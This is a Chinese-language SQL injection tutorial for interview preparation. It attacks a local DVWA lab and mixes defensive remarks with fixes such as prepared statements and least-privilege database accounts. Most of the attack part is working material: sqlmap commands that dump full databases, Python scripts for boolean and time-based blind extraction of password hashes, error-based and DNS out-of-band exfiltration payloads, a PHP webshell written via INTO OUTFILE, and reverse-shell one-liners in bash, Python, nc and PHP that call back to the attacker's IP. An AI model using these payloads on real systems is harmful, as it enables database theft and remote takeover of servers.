[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal...
[*] starting @ 14:23:01
[14:23:01] [INFO] testing connection to the target URL
[14:23:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:23:01] [INFO] testing if the target URL content is stable
[14:23:02] [INFO] target URL content is stable
[14:23:02] [INFO] testing if GET parameter 'id' is dynamic
[14:23:02] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:23:02] [INFO] heuristic (basic) test shows that GET parameter 'id'
might be injectable (possible DBMS: 'MySQL')
[14:23:02] [INFO] heuristic (XSS) test shows that GET parameter 'id'
might be vulnerable to cross-site scripting (XSS) attacks
[14:23:03] [INFO] testing for SQL injection on GET parameter 'id'
...
[14:23:05] [INFO] GET parameter 'id' is 'Generic UNION query
(NULL) - 1 to 20 columns' injectable
[14:23:05] [INFO] the back-end DBMS is MySQL
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 7260=7260 AND 'vIJa'='vIJa&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 5870 FROM(SELECT COUNT(*),CONCAT(...)))-- &Submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(...)-- &Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8302 FROM (SELECT(SLEEP(5)))nQpA)-- &Submit=Submit
---
[14:23:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.38, PHP 7.4.28
back-end DBMS: MySQL >= 5.0.12
[14:23:05] [INFO] fetched data logged to text files under
'/root/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 14:23:05
★ 重点看这几行(面试时能说出来):
1. GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
→ 确认注入点,类型是 UNION 注入,字段数在 1~20 之间
2. the back-end DBMS is MySQL
→ 识别出数据库类型(sqlmap 靠报错特征、函数支持等指纹判断)
3. 四种注入类型全部可用:
boolean-based blind(布尔盲注)
error-based(报错注入)
UNION query(联合查询注入)
time-based blind(时间盲注)
→ ★ 这四种就是 SQL 注入的全部主流手法,见 11 号 2.1.3
4. 每种都给出了可用的 Payload —— ★ 直接抄去手工验证
2.2.2 拖库三连
URL="http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit"
# ① 列出所有数据库
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --dbs
# 预期输出:
# available databases [6]:
# [*] dvwa
# [*] information_schema
# [*] mysql
# [*] performance_schema
# [*] sys
# ② 列出 dvwa 库的所有表
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch -D dvwa --tables
# 预期输出:
# Database: dvwa
# [2 tables]
# +-----------+
# | guestbook |
# | users |
# +-----------+
# ③ 列出 users 表的结构
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch -D dvwa -T users --columns
# 预期输出:
# Database: dvwa
# Table: users
# [8 columns]
# +--------------+---------+
# | Column | Type |
# +--------------+---------+
# | user | varchar(15) |
# | password | varchar(32) |
# | user_id | int(6) |
# | ... | |
# +--------------+---------+
# ④ ★ 导出 users 表全部数据
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch -D dvwa -T users --dump
# 预期输出:
# Database: dvwa
# Table: users
# [5 entries]
# +---------+---------+---------------------------------------------+-----------+
# | user_id | user | password | avatar |
# +---------+---------+---------------------------------------------+-----------+
# | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | ... |
# | 2 | Gordon | e99a18c428cb38d5f260853678922e03 (abc123) | ... |
# ...
#
# ★★ 注意括号里的内容:sqlmap 自动破解了 MD5!
# ⑤ 一次性拖走所有库的所有表(真实攻击)
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --dump-all
2.2.3 常用参数速查
| 参数 | 作用 | 什么时候用 |
|---|---|---|
-u URL |
指定目标 | 总是 |
--cookie= |
带 Cookie | 需要登录时 |
-p id |
只测某个参数 | 多参数时提速 |
--batch |
自动选默认 | ★ 总是加上 |
--dbs |
列数据库 | 拖库第一步 |
-D db --tables |
列表 | |
-D db -T t --columns |
列字段 | |
-D db -T t --dump |
导数据 | |
-C user,password |
只导指定列 | 字段多时 |
--where="id>3" |
加条件 | 数据量大时 |
--start=1 --stop=10 |
只导前 10 行 | ★ 测试时用,别拖全表 |
--level=1~5 |
检测深度 | 默认 1;测 Header 里的注入用 3+ |
--risk=1~3 |
风险等级 | 默认 1;3 会尝试 OR 型 payload(可能改数据)★ 生产慎用 |
--dbms=mysql |
指定数据库 | 提速,跳过指纹识别 |
--technique=U |
指定注入技术 | B布尔 E报错 U联合 S堆叠 T时间 |
--threads=10 |
并发数 | 盲注提速(默认 1) |
--flush-session |
清缓存重测 | 改了目标后 |
--output-dir= |
输出目录 | |
-v 3 |
详细度 0~6 | 想看具体 payload 用 3 |
2.2.4 进阶:POST 请求与 JSON
# POST 表单注入(DVWA 的 medium 等级就是 POST)
sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sqli/" \
--cookie="$DVWA_FULL_COOKIE" \
--data="id=1&Submit=Submit" \
--batch --dbs
# 或:把请求存成文件,用 -r
# 1. Burp 抓包 → 右键 Copy to file → req.txt
# 2. sqlmap 直接读
sqlmap -r req.txt --batch --dbs
# ★ 这是最通用也最推荐的方式,Header、Cookie、Body 全保留
# JSON body 注入(现代 API 常见)
sqlmap -u "http://127.0.0.1:8888/api/user" \
--data='{"id":1}' \
--headers="Content-Type: application/json" \
--batch --dbs
# ★ 注意:JSON 里 sqlmap 会在值后面加 * 指定注入点:{"id":1*}
# 指定注入点(多参数时只测一个,避免误伤)
sqlmap -r req.txt -p id --batch --dbs
2.2.5 看懂 sqlmap 在干什么(★ 面试加分项)
开 Burp 代理,让 sqlmap 走代理,你就能看到它发的每一个包:
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --dbs \
--proxy="http://127.0.0.1:8080"
你会看到它按顺序做这些事:
① 稳定性检测:连发几次相同请求,确认页面返回稳定
(否则盲注的"页面变/没变"判断就不准)
② WAF 检测:发一些明显恶意的 payload,看是否被拦截
③ 启发式检测(heuristic):发 ' " ` 等特殊字符,看是否报错
④ 正式检测:按 boolean → error → union → time 的顺序试
★★ 关键:sqlmap 用的是【二分法】猜数据
比如猜 database() 的第一个字符:
问:ascii(substr(database(),1,1)) > 100 ? → 有数据(真)
问:ascii(substr(database(),1,1)) > 110 ? → 无数据(假)
问:ascii(substr(database(),1,1)) > 105 ? → 有数据(真)
... 逐步逼近,7 次左右就能确定一个字符(ASCII 0~127)
→ 这就是为什么盲注很慢:一个字符要 7 次请求
⑤ 指纹识别:确定 DBMS 类型和版本
⑥ 按你的指令拖库
★ 面试话术:“sqlmap 判断盲注用的是二分法逐字符猜测,每个字符大约需要 7 次 HTTP 请求(log2(128))。这就是为什么盲注比联合注入慢得多——联合注入一次能拿走整张表,盲注一个字符要 7 次。防御上,如果能把报错信息关掉、把回显统一,攻击者就只能用时间盲注,那会更慢(每次还要 sleep),这样监控就有时间发现了。”
2.3 盲注实战(页面什么都不显示时)
场景:DVWA 的 Blind 模式(或真实生产环境)——页面只显示“存在/不存在”,不显示具体数据,也不显示报错。
2.3.1 布尔盲注
# DVWA 切换到 Blind
curl -s -b /tmp/c -c /tmp/c -X POST "http://127.0.0.1:8080/security.php" \
-d "security=low" -d "seclev_submit=Submit" -o /dev/null
URL_BLIND="http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=1&Submit=Submit"
# 页面只有两种反应:
curl -s -H "Cookie: $DVWA_FULL_COOKIE" "$URL_BLIND" | grep -c "User ID exists"
# 输出 1 → 存在(真)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" "http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=999&Submit=Submit" | grep -c "User ID is MISSING"
# 输出 1 → 不存在(假)
手工布尔盲注(理解原理,必做):
# ① 确认可以布尔判断
dvwa_blind() {
r=$(curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/sqli_blind/?$1&Submit=Submit")
if echo "$r" | grep -q "exists"; then echo "TRUE"; else echo "FALSE"; fi
}
dvwa_blind "id=1' and '1'='1" # TRUE
dvwa_blind "id=1' and '1'='2" # FALSE
# ★ 能做真假判断 = 能做布尔盲注
# ② 猜数据库名的长度
dvwa_blind "id=1' and length(database())=4-- " # TRUE ← dvwa 是 4 个字符!
dvwa_blind "id=1' and length(database())=5-- " # FALSE
# ③ 逐字符猜(★ 手工演示前两个字符)
# 第一个字符是 'd'(ASCII 100)
dvwa_blind "id=1' and ascii(substr(database(),1,1))>100-- " # FALSE(100 不大于 100)
dvwa_blind "id=1' and ascii(substr(database(),1,1))=100-- " # TRUE → ASCII 100 = 'd'
dvwa_blind "id=1' and ascii(substr(database(),2,1))=118-- " # TRUE → ASCII 118 = 'v'
dvwa_blind "id=1' and ascii(substr(database(),3,1))=119-- " # TRUE → ASCII 119 = 'w'
dvwa_blind "id=1' and ascii(substr(database(),4,1))=97-- " # TRUE → ASCII 97 = 'a'
# → 拼起来:dvwa ✓
用脚本自动化(理解 sqlmap 在干什么):
#!/usr/bin/env python3
"""手工布尔盲注脚本 —— 理解 sqlmap 的原理。
★ 这个脚本你一定要跑一遍,它比任何讲解都直观。"""
import requests, sys
BASE = "http://127.0.0.1:8080/vulnerabilities/sqli_blind/"
COOKIE = {"PHPSESSID": "你的session", "security": "low"}
def query(payload):
"""发送 payload,返回 True/False"""
r = requests.get(BASE, params={"id": payload, "Submit": "Submit"}, cookies=COOKIE)
return "User ID exists" in r.text
def get_length(sql):
"""二分法猜长度"""
lo, hi = 1, 100
while lo < hi:
mid = (lo + hi) // 2
if query(f"1' AND LENGTH(({sql}))<={mid}-- "):
hi = mid
else:
lo = mid + 1
return lo
def get_char(sql, pos):
"""二分法猜第 pos 个字符"""
lo, hi = 32, 126 # 可打印 ASCII 范围
while lo < hi:
mid = (lo + hi) // 2
if query(f"1' AND ASCII(SUBSTR(({sql}),{pos},1))<={mid}-- "):
hi = mid
else:
lo = mid + 1
return chr(lo)
def dump(sql, maxlen=50):
"""拖出完整结果"""
n = get_length(sql)
print(f" 长度 = {n}")
result = ""
for i in range(1, n + 1):
c = get_char(sql, i)
result += c
print(f" [{i}/{n}] {result}", end="\r")
return result
if __name__ == "__main__":
print("[*] 猜数据库名...")
db = dump("SELECT database()")
print(f"\n[+] database() = {db}\n")
print("[*] 猜表名...")
tables = dump(
"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables "
"WHERE table_schema=database()")
print(f"\n[+] tables = {tables}\n")
print("[*] 猜 users 表的列名...")
cols = dump(
"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns "
"WHERE table_name='users'")
print(f"\n[+] columns = {cols}\n")
print("[*] 拖 admin 的密码...")
pwd = dump("SELECT password FROM users WHERE user='admin'")
print(f"\n[+] admin password hash = {pwd}")
pip3 install requests
python3 blind_sqli.py
预期输出(会看到字符一个个蹦出来,非常有成就感):
[*] 猜数据库名...
长度 = 4
[4/4] dvwa
[+] database() = dvwa
[*] 猜表名...
长度 = 14
[14/14] guestbook,users
[+] tables = guestbook,users
[*] 猜 users 表的列名...
长度 = 62
[62/62] user_id,first_name,last_name,user,password,avatar,last_login,failed_login
[+] columns = user_id,first_name,last_name,user,password,avatar,last_login,failed_login
[*] 拖 admin 的密码...
长度 = 32
[32/32] 5f4dcc3b5aa765d61d8327deb882cf99
[+] admin password hash = 5f4dcc3b5aa765d61d8327deb882cf99
★ 反思时刻:观察一下这个脚本发起了多少次请求。 猜一个 32 位的密码,每个字符约 7 次请求 = 224 次请求。 如果你的接口有限流(比如每分钟 100 次),或者审计日志会记录异常请求,这种攻击就很容易被发现。 → 这就是“限流 + 日志监控”在防御盲注时的价值:它不能阻止注入,但能让攻击慢到没法用、或者被你及时发现。
2.3.2 时间盲注
场景:比布尔盲注更糟——页面永远返回一样的内容,连“存在/不存在”都不告诉你。 这时候只能用时间当信道:让数据库
SLEEP(5),看响应是不是慢了 5 秒。
# 判断(注意计时)
time curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=1%27%20AND%20SLEEP(5)--%20&Submit=Submit" > /dev/null
# 预期:real 0m5.213s ← 慢了 5 秒,说明 SLEEP 被执行了 ✓
time curl -s -H "Cookie: $DVWA_FULL_COOKIE" \
"http://127.0.0.1:8080/vulnerabilities/sqli_blind/?id=1%27%20AND%20SLEEP(0)--%20&Submit=Submit" > /dev/null
# 预期:real 0m0.098s ← 立刻返回
# 用 IF 做条件判断(核心 payload)
# 如果数据库名第一个字符是 'd'(100),就 sleep 5 秒
id=1' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(5), 0)--
# URL 编码后:
id=1%27%20AND%20IF(ASCII(SUBSTR(database(),1,1))=100,SLEEP(5),0)--%20
#!/usr/bin/env python3
"""时间盲注脚本 —— 用响应耗时当信道"""
import requests, time
BASE = "http://127.0.0.1:8080/vulnerabilities/sqli_blind/"
COOKIE = {"PHPSESSID": "你的session", "security": "low"}
THRESHOLD = 3.0 # 超过 3 秒认为 SLEEP 生效
def timed_query(payload):
start = time.time()
requests.get(BASE, params={"id": payload, "Submit": "Submit"},
cookies=COOKIE, timeout=15)
return time.time() - start
def is_true(condition):
"""用 IF(condition, SLEEP(3), 0) 判断条件真假"""
p = f"1' AND IF({condition}, SLEEP(3), 0)-- "
return timed_query(p) > THRESHOLD
def dump(sql, maxlen=50):
n = 1
while n <= maxlen:
if is_true(f"LENGTH(({sql}))={n}"):
break
n += 1
print(f" 长度 = {n}")
out = ""
for i in range(1, n + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"ASCII(SUBSTR(({sql}),{i},1))<={mid}"):
hi = mid
else:
lo = mid + 1
out += chr(lo)
print(f" [{i}/{n}] {out}", end="\r")
return out
print("[*] 时间盲注拖库(会很慢,耐心等)...")
print("database() =", dump("SELECT database()"))
★ 时间盲注的致命弱点(也是防御的抓手):
- 极慢:一个字符 7 次请求 × 每次 3 秒 = 21 秒/字符
- 拖一个 32 位密码要 11 分钟
- 网络抖动会导致误判
- 每次请求都在你的慢查询日志里留下
SLEEP(5)← 这就是检测它的最好办法
防御侧的检测规则:
-- MySQL 慢查询日志里搜这些特征
SELECT * FROM mysql.slow_log WHERE sql_text LIKE '%SLEEP(%';
SELECT * FROM mysql.slow_log WHERE sql_text LIKE '%BENCHMARK(%';
SELECT * FROM mysql.slow_log WHERE sql_text LIKE '%pg_sleep%';
-- 或者用 Prometheus + mysqld_exporter 监控慢查询数量突增
2.4 报错注入(最快的一种)
原理:故意让数据库报错,并把你想查的数据塞进报错信息里显示出来。 前提:页面会把 SQL 报错显示出来(生产环境绝不应该这么做,见 11 号 B19)。
2.4.1 MySQL 三种报错函数
# ① extractvalue() —— XML 路径错误
dvwa "id=1' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- "
# 预期:XPATH syntax error: '~dvwa~'
# ★ 0x7e 是波浪号 ~,用来包裹数据方便定位
# ② updatexml() —— 同上
dvwa "id=1' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- "
# 预期:XPATH syntax error: '~root@localhost~'
# ③ floor(rand()*2) 分组报错 —— 最复杂但最通用
dvwa "id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- "
# 预期:Duplicate entry 'dvwa1' for key 'group_key'
一次性拖走所有表名(用 group_concat):
dvwa "id=1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'),0x7e),1)-- "
# 预期:XPATH syntax error: '~guestbook,users~'
# ★ 注意:updatexml 的报错信息最多显示 32 个字符
# 数据长的话要用 substr 分段读
dvwa "id=1' AND updatexml(1,concat(0x7e,substr((SELECT group_concat(password) FROM users),1,30),0x7e),1)-- "
dvwa "id=1' AND updatexml(1,concat(0x7e,substr((SELECT group_concat(password) FROM users),31,30),0x7e),1)-- "
2.4.2 报错注入为什么快?
| 注入类型 | 拖一个 32 位密码需要 | 请求次数 |
|---|---|---|
| UNION 联合注入 | 1 次请求 | 1 |
| 报错注入 | 2 次请求(分两段) | 2 |
| 布尔盲注 | 每字符 7 次 | 224 |
| 时间盲注 | 每字符 7 次 × 3 秒 | 224(11 分钟) |
★ 防御启示:关掉报错回显,攻击者就从“2 次请求”退化到“224 次请求 + 11 分钟”。 一次配置改动,攻击成本上升 100 倍。这就是投入产出比最高的防御措施之一。
2.4.3 OOB 带外注入(盲注的加速方案)
当页面无回显、且
SLEEP被禁用时,还有一个办法:让数据库主动访问你的服务器,把数据带出来。需要 MySQL 支持
LOAD_FILE()且能访问外网(Windows 上更容易成功)。
-- 让数据库去解析你的域名,数据放在子域名里
-- 你自己的 DNS 服务器上就能看到完整数据
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.your-domain.dnslog.cn\\abc'));
-- 或者走 HTTP
SELECT LOAD_FILE(CONCAT('http://your-domain.dnslog.cn/',(SELECT database())));
★ 关键认知:这提醒我们一件事——数据库服务器不应该有外网访问权限。 如果你的 MySQL 能访问公网,即使页面不回显,数据照样能被人带出去。
2.5 二次注入(最隐蔽的一种)
什么是二次注入:恶意数据先被存进数据库(第一次),当时没触发漏洞; 后来被读取出来拼进另一条 SQL(第二次),这时候才触发。
为什么危险:
- 第一关的转义/预编译完全拦不住它(因为存进去的时候确实是“合法的字符串”)
- WAF 也拦不住(数据是通过正常业务功能存进去的)
- 极难被自动化扫描发现
2.5.1 实验(用 DVWA 的 SQLi 模块模拟)
# 场景:注册功能把用户名存进数据库,修改密码时用用户名拼 SQL
# ① 注册一个"恶意"用户名(注意末尾的单引号)
# 用户名:admin'#
# 这个用户名是"合法字符串",存进数据库完全没问题
# ② 现在这个用户修改密码,应用执行:
# UPDATE users SET password='新密码' WHERE username='admin'#' AND ...
# → # 是 MySQL 注释符,后面的条件全被注释掉!
# → 实际执行:UPDATE users SET password='新密码' WHERE username='admin'
# → ★★ admin 的密码被改掉了!
# 用 sqlmap 之外的方式理解:
mysql -h 127.0.0.1 -u root -p dvwa -e "
-- 第一次:数据入库(经过了转义,看起来没问题)
INSERT INTO users (user, password) VALUES ('admin\'#', md5('123456'));
SELECT user FROM users WHERE user LIKE 'admin%';
-- 输出:admin'# ← 存进去了
-- 第二次:应用读出这个用户名,拼进新的 SQL
-- 假设代码是:\"UPDATE users SET password='\$new' WHERE user='\$name'\"
-- 那么 \$name = admin'# 拼进去就是:
-- UPDATE users SET password='hacked' WHERE user='admin'#'
-- → 改的是 admin 的密码!
"
2.5.2 真实案例:修改密码功能
// ❌ 漏洞代码(这是真实项目中非常常见的写法)
public void changePassword(String username, String newPassword) {
// username 是从数据库里读出来的(来源"可信"),所以没做处理
String sql = "UPDATE users SET password = ? WHERE username = '" + username + "'";
jdbc.execute(sql, newPassword); // ★ 密码用了预编译,但 username 没有!
}
// ✅ 修复:★ 从数据库读出来的数据,再次拼进 SQL 时【同样要预编译】
public void changePassword(String username, String newPassword) {
String sql = "UPDATE users SET password = ? WHERE username = ?";
jdbc.update(sql, newPassword, username);
}
★ 铁律:数据来源是“自己的数据库”不等于“可信”。 判断标准不是“数据来自哪里”,而是“它有没有可能被攻击者控制“。 用户注册的用户名、上传的文件名、第三方接口返回的数据——全都是不可信的。
2.6 宽字节注入(GBK 编码的锅)
原理:MySQL 在使用 GBK 等宽字节编码时,会把两个字节当成一个汉字。 如果应用用了
addslashes()或类似的转义(在'前加\), 攻击者可以在'前塞一个高位字节(如%df), 让%df\被合并成一个汉字,于是\消失了,'成功逃逸。
2.6.1 图解
正常流程(有转义):
输入: id=1'
转义后: id=1\' ← \ 吃掉了单引号的特殊性
SQL: WHERE id='1\'' ← 单引号被转义,无法闭合 ✓ 安全
宽字节注入(GBK 编码下):
输入: id=1%df'
转义后: id=1%df\' ← 应用在 %df 和 ' 之间插入了 \
GBK解码: %df\ 这两个字节被合并成一个汉字 "運"
结果: id=1運' ← ★ \ 被"吃掉"了,单引号成功逃逸!
SQL: WHERE id='1運'' ← 语法错误,或者被我们闭合
2.6.2 实验
# 起一个 GBK 编码的 MySQL 环境(用 Vulhub 或自己搭)
docker run -d --name mysql-gbk --network lab-net \
-e MYSQL_ROOT_PASSWORD=root \
-e MYSQL_DATABASE=testdb \
-p 127.0.0.1:3307:3306 \
mysql:5.7 --character-set-server=gbk
sleep 30
# 建表
docker exec -i mysql-gbk mysql -uroot -proot testdb <<'EOF'
CREATE TABLE news (id INT PRIMARY KEY, title VARCHAR(100), content TEXT);
INSERT INTO news VALUES (1,'first','hello'),(2,'second','world');
EOF
# 模拟应用的转义 + GBK 查询
docker exec -i mysql-gbk mysql -uroot -proot testdb --default-character-set=gbk <<'EOF'
SET NAMES gbk;
-- 模拟:应用做了 addslashes,输入是 1%df' 变成 1%df\'
-- 这里用 0xdf5c27 表示:df 5c(\) 27(')
SELECT * FROM news WHERE id='1' AND 1=0 UNION SELECT 1,2,3; -- 正常
EOF
# ★ 实际验证:用 Python 模拟完整的转义流程
python3 - <<'PY'
# 模拟 PHP 的 addslashes + GBK 编码
user_input = "\xdf'" # 用户输入的原始字节
escaped = "\xdf\\'" # 应用转义后(在 ' 前加了 \)
print("转义后字节:", escaped.encode('gbk', errors='replace'))
# 输出:b'\xdf\\\'' ← 注意 MySQL 收到的字节序列是 DF 5C 27
# MySQL 用 GBK 解析:DF 5C 是一个汉字,27 是单引号
s = b'\xdf\x5c\x27'
print("GBK 解码:", s.decode('gbk', errors='replace'))
# 输出:運' ← ★★ \ (5C) 被并进汉字了,单引号 (27) 逃逸成功!
PY
2.6.3 修复
// ❌ 错误做法:自己写转义
String safe = input.replace("'", "\\'"); // 宽字节环境下可被绕过
// ✅ 正确做法 1:预编译(根本解法)
jdbc.query("SELECT * FROM news WHERE id = ?", id);
// ✅ 正确做法 2:统一用 UTF-8,并且用 mysql 的真实转义函数
// JDBC URL 里明确指定:
// jdbc:mysql://host/db?useUnicode=true&characterEncoding=UTF-8
// &useServerPrepStmts=true&cachePrepStmts=true
//
// ★ 关键点:characterEncoding 必须和数据库实际编码一致,
// 不一致正是宽字节注入的温床
// ✅ 正确做法 3(不推荐但可用):mysql_real_escape_string 的 Java 等价物
// 它会在转义时【考虑当前连接的字符集】,不会留下宽字节漏洞
★ 现代开发中宽字节注入已经很少见了(因为大家都用 UTF-8 + 预编译), 但它是面试的高频题,因为它能检验你是否理解“字符编码”和“转义”的关系。
2.7 从 SQL 注入到 GetShell
这一步是 SQL 注入最严重的后果:不只是数据泄露,而是整台服务器被控制。
前置条件(MySQL 写文件的三个条件,缺一不可):
- 数据库账号有 FILE 权限(
root默认有)secure_file_priv不是NULL(MySQL 5.7+ 默认是/var/lib/mysql-files/或 NULL)- 知道网站的绝对路径(通过报错、
@@datadir、phpinfo 等获取)
2.7.1 条件探测
# ① 当前用户是不是 root
dvwa "id=-1' UNION SELECT 1,user()-- "
# 预期:root@localhost ← 有 FILE 权限的概率很高
# ② 查看 secure_file_priv(★ 决定能不能写文件)
dvwa "id=-1' UNION SELECT 1,@@secure_file_priv-- "
# 情况 A: /var/lib/mysql-files/ → 只能写到这个目录(较常见)
# 情况 B: (空字符串) → 可以写到任意目录(最危险)
# 情况 C: NULL → 禁止写文件(安全)★
# ③ 找网站绝对路径
dvwa "id=-1' UNION SELECT 1,@@datadir-- "
# 输出:/var/lib/mysql/ → 推测网站在 /var/www/html/
2.7.2 写入 WebShell
# ★ 写一个 PHP webshell 到网站目录
# payload: 一句话木马,密码是 cmd
dvwa "id=1' UNION SELECT 1,\"<?php @eval(\\\$_POST['cmd']);?>\" INTO OUTFILE '/var/www/html/shell.php'-- "
# URL 编码版(实际用这个)
curl -s -H "Cookie: $DVWA_FULL_COOKIE" -G \
"http://127.0.0.1:8080/vulnerabilities/sqli/" \
--data-urlencode "id=1' UNION SELECT 1,\"<?php @eval(\$_POST['cmd']);?>\" INTO OUTFILE '/var/www/html/shell.php'-- " \
--data-urlencode "Submit=Submit"
# 验证是否写成功
curl -s -o /dev/null -w "HTTP %{http_code}\n" "http://127.0.0.1:8080/shell.php"
# 预期:HTTP 200 ← 文件写成功了
# ★★ 现在已经可以执行任意命令了
curl -s -X POST "http://127.0.0.1:8080/shell.php" -d "cmd=system('id');"
# 预期输出:uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s -X POST "http://127.0.0.1:8080/shell.php" -d "cmd=system('cat /etc/passwd');"
curl -s -X POST "http://127.0.0.1:8080/shell.php" -d "cmd=system('whoami');"
名词解释:
- WebShell(网页后门):一个放在网站目录里的脚本文件,攻击者通过 HTTP 请求它来远程执行系统命令。它之所以危险,是因为走的是 80/443 端口,看起来就是正常 Web 流量,防火墙和 WAF 很难区分。
- 一句话木马:最小的 webshell,PHP 版就是
<?php @eval($_POST['cmd']);?>。@eval()会把 POST 参数当 PHP 代码执行。- GetShell:安全圈黑话,指“拿到了服务器的命令执行权限”。
- 反弹 Shell(Reverse Shell):让目标机器主动连接你的机器。为什么不用“你去连它”?因为目标通常在防火墙/NAT 后面,你连不进去,但它能主动出来。方向反一下,就绕过了防火墙。
2.7.3 反弹 Shell(拿到交互式命令行)
# ① 你在自己的机器上开一个监听
nc -lvnp 4444
# 输出:listening on [any] 4444 ...
# ② 通过 webshell 让目标连接你
# (新开一个终端)
curl -s -X POST "http://127.0.0.1:8080/shell.php" \
-d "cmd=system('bash -i >& /dev/tcp/你的IP/4444 0>&1');"
# ③ 回到第一个终端,你会看到:
# connect to [你的IP] from (UNKNOWN) [172.20.0.3] 54321
# www-data@dvwa:/var/www/html$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# www-data@dvwa:/var/www/html$ ← ★ 拿到交互式 shell 了!
★ 如果目标没有 bash,用这些替代:
# Python 版(最通用)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# nc 版
nc -e /bin/sh 你的IP 4444
# 如果 nc 没有 -e:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 你的IP 4444 >/tmp/f
# PHP 版
php -r '$sock=fsockopen("你的IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
2.7.4 用 sqlmap 一键 GetShell
# sqlmap 提供了这两个开关,会自动做上面所有事情
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --os-shell
# 交互式选择:
# [1] 用 PHP 作为后端(默认)
# 然后它会在目标上写两个文件:
# /var/www/html/tmpuxyz.php ← 上传用的 stager
# /var/www/html/tmpabcd.php ← 命令执行的 shell
#
# 成功后你会看到:
# os-shell> id
# do you want to retrieve the command standard output? [Y/n/a]
# command standard output:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# os-shell> whoami
# os-shell> cat /etc/shadow
# --os-pwn 更进一步:直接给你一个带外(OOB)的 shell
sqlmap -u "$URL" --cookie="$DVWA_FULL_COOKIE" --batch --os-pwn
★ 反思时刻 —— 攻击链回顾
输入一个单引号 → 发现 SQL 注入 ↓ UNION 拖库 → 拿到所有用户密码(MD5,可破解) ↓ 探测 FILE 权限 → 发现是 root,secure_file_priv 为空 ↓ INTO OUTFILE → 写入 webshell ↓ 反弹 shell → 拿到 www-data 交互命令行 ↓ (真实环境下一步)提权到 root → 横向移动 → 内网漫游这一切的起点,只是一个没做预编译的字符串拼接。
而打断这条链,只需要做对其中任何一件事:
- 用预编译 → 注入点不存在
- 关掉报错回显 → 攻击成本 ×100
- 数据库账号不给 FILE 权限 → 写不了 webshell ★ 成本最低的一招
secure_file_priv=NULL→ 同上- 网站目录不可写 → 同上
- 网站以非 root 运行 → 拿到了也只是低权限
2.8 修复与复测(★ 最关键的一节)
2.8.1 修复清单
// ═══════ 修复 1:预编译(根本解法)═══════
// ❌ 之前
String sql = "SELECT * FROM users WHERE id = '" + id + "'";
// ✅ 之后
String sql = "SELECT * FROM users WHERE id = ?";
jdbc.queryForList(sql, id);
// ═══════ 修复 2:ORDER BY 白名单 ═══════
Set<String> ALLOWED = Set.of("id", "name", "price");
if (!ALLOWED.contains(field)) throw new IllegalArgumentException();
// ═══════ 修复 3:MyBatis 用 #{} 不用 ${} ═══════
// ❌ SELECT * FROM users WHERE name = '${name}'
// ✅ SELECT * FROM users WHERE name = #{name}
// ═══════ 修复 4:关掉报错回显 ═══════
@ControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(Exception.class)
public ResponseEntity<?> handle(Exception e) {
log.error("internal error", e); // ✅ 详细堆栈只写日志
return ResponseEntity.status(500)
.body(Map.of("code", 500, "msg", "系统繁忙,请稍后重试")); // ✅ 前端只看到这个
}
}
// ═══════ 修复 5:数据库账号最小权限(★ 成本最低、效果最好)═══════
-- ❌ 危险:应用用 root 账号
GRANT ALL PRIVILEGES ON *.* TO 'app'@'%' IDENTIFIED BY 'xxx';
-- ✅ 正确:专用账号,只给必要的 DML,不给 FILE/SUPER/DROP
CREATE USER 'app_user'@'172.20.%' IDENTIFIED BY 'StrongP@ssw0rd!';
